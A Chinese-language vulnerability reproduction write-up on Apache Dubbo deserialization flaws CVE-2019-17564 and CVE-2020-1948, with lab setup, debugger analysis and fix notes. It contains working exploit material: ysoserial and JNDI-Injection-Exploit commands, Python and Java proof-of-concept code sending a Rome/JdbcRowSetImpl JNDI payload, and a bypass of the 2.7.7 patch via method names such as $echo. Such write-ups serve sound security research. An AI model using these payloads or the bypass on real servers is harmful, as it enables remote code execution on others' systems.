0%

Apache Dubbo 反序列化漏洞复现笔记

Apache Dubbo支持多种协议,官方推荐使用 Dubbo 协议,CVE-2019-17564是属于Apache Dubbo HTTP协议中的一个反序列化漏洞,当Apache Dubbo启用HTTP协议之后,Apache Dubbo在接受来自消费者的远程调用请求的时候存在一个不安全的反序列化。

CVE-2020-1948是当Dubbo服务端暴露时(默认端口:20880),攻击者可以发送任意的服务名或方法名的RPC请求,同时附加恶意的序列化参数,服务端在解析参数进行反序列化时触发。

Apache Dubbo

Apache Dubbo 是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。

image-20200702110855684

使用Dubbo的最常见方法是在Spring框架中运行

IDEA中创建一个maven空项目,作为项目父工程,然后右键父工程目录依次创建三个Module provider,consumer和api,项目结构如下

image-20200804113826277

父工程的pom文件中应该会自动设置modules

1
2
3
4
5
<modules>
<module>provider</module>
<module>consumer</module>
<module>api</module>
</modules>

子工程中则会设置parent

1
2
3
4
5
<parent>
<artifactId>DubboDemo</artifactId>
<groupId>org.example</groupId>
<version>1.0-SNAPSHOT</version>
</parent>

父工程pom中加入Spring及Dubbo依赖,Dubbo中包含Spring,为避免冲突需要排除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.3.7.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.3.7.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.3.7.RELEASE</version>
</dependency>

<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.3</version>
<exclusions>
<exclusion>
<groupId>org.springframework</groupId>
<artifactId>spring</artifactId>
</exclusion>
</exclusions>
</dependency>

<dependency>
<groupId>org.apache.curator</groupId>
<artifactId>curator-framework</artifactId>
<version>4.0.1</version>
</dependency>

<dependency>
<groupId>org.apache.curator</groupId>
<artifactId>curator-recipes</artifactId>
<version>2.8.0</version>
</dependency>

<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.25</version>
</dependency>
</dependencies>

在api子工程中定义接口

1
2
3
public interface DemoService {
String sayHello(String name);
}

在provider子工程中实现接口

1
2
3
4
5
public class DemoServiceImpl implements DemoService{
public String sayHello(String name) {
return "Hello " + name;
}
}

(provider子工程中的pom文件需要将api子工程设为依赖才能使用其中的类)

1
2
3
4
5
6
<dependency>
<groupId>org.example</groupId>
<artifactId>api</artifactId>
<version>1.0-SNAPSHOT</version>
<scope>compile</scope>
</dependency>

然后在resources目录创建provider.xml,其中注释了multicast registry center,使用zookeeper作为Registry,协议dubbo:protocol是用的dubbo协议,下文CVE-2019-17564中的漏洞条件是需要使用http协议的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:dubbo="http://code.alibabatech.com/schema/dubbo"
xmlns="http://www.springframework.org/schema/beans"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.3.xsd
http://code.alibabatech.com/schema/dubbo http://code.alibabatech.com/schema/dubbo/dubbo.xsd">

<!-- provider's application name, used for tracing dependency relationship -->
<dubbo:application name="demo-provider"/>

<!-- use multicast registry center to export service -->
<!--<dubbo:registry address="multicast://224.5.6.7:1234"/>-->

<!-- 使用zookeeper注册中心暴露服务地址 -->
<dubbo:registry address="zookeeper://127.0.0.1:2181" />

<!-- use dubbo protocol to export service on port 20880 -->
<dubbo:protocol name="dubbo" port="20880"/>

<!-- service implementation, as same as regular local bean -->
<bean id="demoService" class="DemoServiceImpl"/>

<!-- declare the service interface to be exported -->
<dubbo:service interface="DemoService" ref="demoService"/>
</beans>

创建Provider类

1
2
3
4
5
6
7
8
9
10
11
12
import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.io.IOException;

public class Provider {
public static void main(String[] args) throws IOException {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(new String[]{"classpath:provider.xml"});
context.start();
System.out.println("Provider started.");
System.in.read(); // press any key to exit
}

}

consumer子工程中创建Consumer类,同样pom文件中需要设置api子工程为依赖才能使用其中的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class Consumer {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(new String[] {"classpath:consumer.xml"});
context.start();
// Obtaining a remote service proxy
DemoService demoService = (DemoService)context.getBean("demoService");
// Executing remote methods
String hello = demoService.sayHello("world");
// Display the call result
System.out.println(hello);
}
}

在resources创建consumer.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:dubbo="http://code.alibabatech.com/schema/dubbo"
xmlns="http://www.springframework.org/schema/beans"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.3.xsd
http://code.alibabatech.com/schema/dubbo http://code.alibabatech.com/schema/dubbo/dubbo.xsd">

<!-- consumer's application name, used for tracing dependency relationship (not a matching criterion),
don't set it same as provider -->
<dubbo:application name="demo-consumer"/>

<!-- use multicast registry center to discover service -->
<!-- <dubbo:registry address="multicast://224.5.6.7:1234"/> -->

<!-- 使用zookeeper注册中心暴露服务地址 -->
<dubbo:registry address="zookeeper://127.0.0.1:2181" />

<!-- generate proxy for the remote service, then demoService can be used in the same way as the
local regular interface -->
<dubbo:reference id="demoService" check="false" interface="DemoService"/>
</beans>

Zookeeper可作为Dubbo的Registry,Dubbo服务的provider和consumer都需要在Zookeeper进行注册,下载Zookeeper并解压,将conf目录下的zoo_sample.cfg改名为 zoo.cfg,bin目录下运行zkServer启动Zookeeper,zoo_sample.cfg默认服务端口2181

image-20200804114838414

依次运行provider和consumer,输出Hello world即完成了一次RPC

image-20200804115529302

CVE-2019-17564

This vulnerability can affect users using Dubbo-Rpc-Http (2.7.3 or lower) and Spring-Web (5.1.9.RELEASE or lower).

Notice that this vulnerability only affects users who enable http protocol provided by Dubbo:<dubbo:protocol name="http"/>

影响版本

  • Dubbo 2.7.0 to 2.7.4
  • Dubbo 2.6.0 to 2.6.7
  • Dubbo all 2.5.x versions

漏洞复现

https://github.com/apache/dubbo-samples/tree/master/java/dubbo-samples-http

pom中设置Dubbo的版本为漏洞版本2.7.3并放入反序列化的Gadget

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

启动HttpProvider一直报错我就修改了http-provider.xml中配置的端口

1
<dubbo:protocol name="http" id="http" port="80" server="${servlet.container:tomcat}"/>

然后启动依次启动zookeeper,HttpProvider

/org.apache.dubbo.samples.http.api.DemoService POST ysoserial生成的POC

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "open /System/Applications/Calculator.app" > /tmp/payload.ser

image-20200804162732445

漏洞分析

由报错信息,入口点在HttpServlet.service

image-20200804163631409

javax.servlet.http.HttpServlet#service(javax.servlet.ServletRequest, javax.servlet.ServletResponse)下断点进行跟踪

进入到org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service

image-20200804181216449

如果handler对象不等于null,就调用handle方法处理

查看handle方法Implementation

image-20200804181403679

Dubbo支持这几种协议来进行数据的传输交互,而本次处理HTTP协议的进入到org.apache.dubbo.rpc.protocol.http.HttpProtocol

org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle

image-20200804191923854

跟进skeleton.handleRequest之后调用的是 spring 的 HttpInvoker

Spring HttpInvoker是一个新的远程调用模型,作为Spring框架的一部分,执行基于HTTP的远程调用(意味着可以通过防火墙),并使用Java的序列化机制在网络间传递对象。

官方文档也提示可能存在Java反序列化漏洞

image-20200808144522824

最后反序列化点在org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation

image-20200808134558804

漏洞修复

跟踪Dubbo 2.7.7的代码,到org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle

image-20200808152014321

skeleton是一个JsonRpcServer对象,然后进入skeleton.handle

image-20200808152641529

skeleton.handle当中没办法处理我们传输Java序列化字节流,因此就会抛出异常,也就是说这里的org.apache.dubbo.rpc.protocol.http.HttpProtocol后续处理不是通过Spring HttpInvoker了,而是通过 JsonRpc

CVE-2020-1948

影响版本

  • Apache Dubbo 2.7.0 ~ 2.7.6
  • Apache Dubbo 2.6.0 ~ 2.6.7
  • Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)

漏洞复现

以文首创建的Dubbo项目为例,在provider中添加rome作为JNDI注入的gadget,这里使用marshalsec中的rome gadget是因为Dubbo协议默认采用Hessian作为反序列化方式,在Hessian中,ysoserial提供的gadget无法使用,具体可见Java Unmarshalling Security - 攻击Hessian协议

1
2
3
4
5
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>

JNDI-Injection-Exploit起一个服务端

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1

image-20200827142408413

运行以下POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#pip3 install dubbo-py
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 20880)

JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:1389/svtwih",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)

resp = client.send_request_and_return_response(
service_name='cn.rui0',
method_name='rce',
args=[toStringBean])

print(resp)

image-20200827142737198

如果JNDI服务端正常收到请求但是并未成功执行命令注意下JDK版本:在JDK 6u132, JDK 7u122, JDK 8u113 中限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。除了RMI服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,不过在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false

以上POC也可借助marshalsec生成

在consumer中添加marshalsec-0.0.3-SNAPSHOT-all.jar,代码更改为以下,其中RPC远程调用的方法并不需要服务端真实存在

1
2
3
public interface DemoService {
String anything(Object name);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Consumer {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(new String[] {"classpath:consumer.xml"});
context.start();
// Obtaining a remote service proxy
DemoService demoService = (DemoService)context.getBean("demoService");
// Executing remote methods
String hello = demoService.anything(getPayload());
// Display the call result
System.out.println(hello);
}

private static Object getPayload() throws Exception {
String jndiUrl = "ldap://127.0.0.1:1389/svtwih";
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl));
EqualsBean root = new EqualsBean(ToStringBean.class,item);
return JDKUtil.makeMap(root,root);
}
}

image-20200827144626837

漏洞分析

调试前最好关闭Enable 'toString()' object view,否则漏洞会提前自动触发

image-20200828164030703

一开始参考网上前辈的文章,却发现自己debug跟踪代码执行的流程不太一样,后来发现是因为参考文章中给接口添加了一个参数为Object类型的方法,并在provider实现后,使用comsumer携带恶意参数去远程调用这个真实存在的方法

漏洞原作者的POC,使用的是任意不存在的service和method,导致Dubbo找不到注册的service而抛出异常,在抛出异常的时候触发漏洞

所以有两种触发方法

  1. 在刚传入序列化值时依赖Rome的toString方法通过构造HashMap触发key的hashCode实现反序列化
  2. 反序列化执行完成后,利用RemotingException抛出异常输出时隐式调用了Rome的toString方法导致RCE

未找到service而抛出异常的位置在org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker

image-20200828170632439

其中inv是DecodeableRpcInvocation的实例对象,在这里会默认调用其toString方法,具体实现在其父类RpcInvocation,下一个断点跳过去

image-20200828171644181

可见其中的argements就是ToStringBean的实例,跟入Arrays.toString(arguments)

image-20200828171857376

最终是到了ToStringBean的toString方法

image-20200828171920387

image-20200828172546108

在ToStringBean实现的toString方法中,会遍历传入对象的所有方法(Method对象),并且通过java实现的invoke方法动态调用传入对象的所有Method对象,当此处for循环执行到JdbcRowSetImpl类中getDatabaseMetData函数时候,会调用函数内connect方法,导致执行JdbcRowSetImpl的执行链,导致代码执行

补丁绕过

在2.7.7版本,org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)中增加了一个判断,限制了RPC的方法名,不是指定方法的话会抛出异常

image-20200828152908053

image-20200828152938398

image-20200828153012955

但方法名我们可控,在脚本中修改方法名为$invoke$invokeAsync$echo其中任意一个即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#pip3 install dubbo-py
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 20880)

JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:1389/fkeuiv",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)

resp = client.send_request_and_return_response(
service_name='cn.rui0',
method_name='$echo',
args=[toStringBean])

print(resp)

漏洞修复

参考Dubbo 漏洞 CVE-2020-1948 复现+简单修复

参考

http://dubbo.apache.org/zh-cn/docs/user/quick-start.html

Apache Dubbo反序列化漏洞(CVE-2019-17564)

[CVE-2019-17564] Apache Dubbo deserialization vulnerability

[CVE-2020-1948] Apache Dubbo Provider default deserialization cause RCE

Java Unmarshalling Security - 攻击Hessian协议

Java Hessian反序列化漏洞

Hessian 反序列化及相关利用链

CVE-2020-1948 Apache Dubbo Hessian 反序列化漏洞分析

Dubbo 漏洞 CVE-2020-1948 分析

Dubbo 漏洞 CVE-2020-1948 复现+简单修复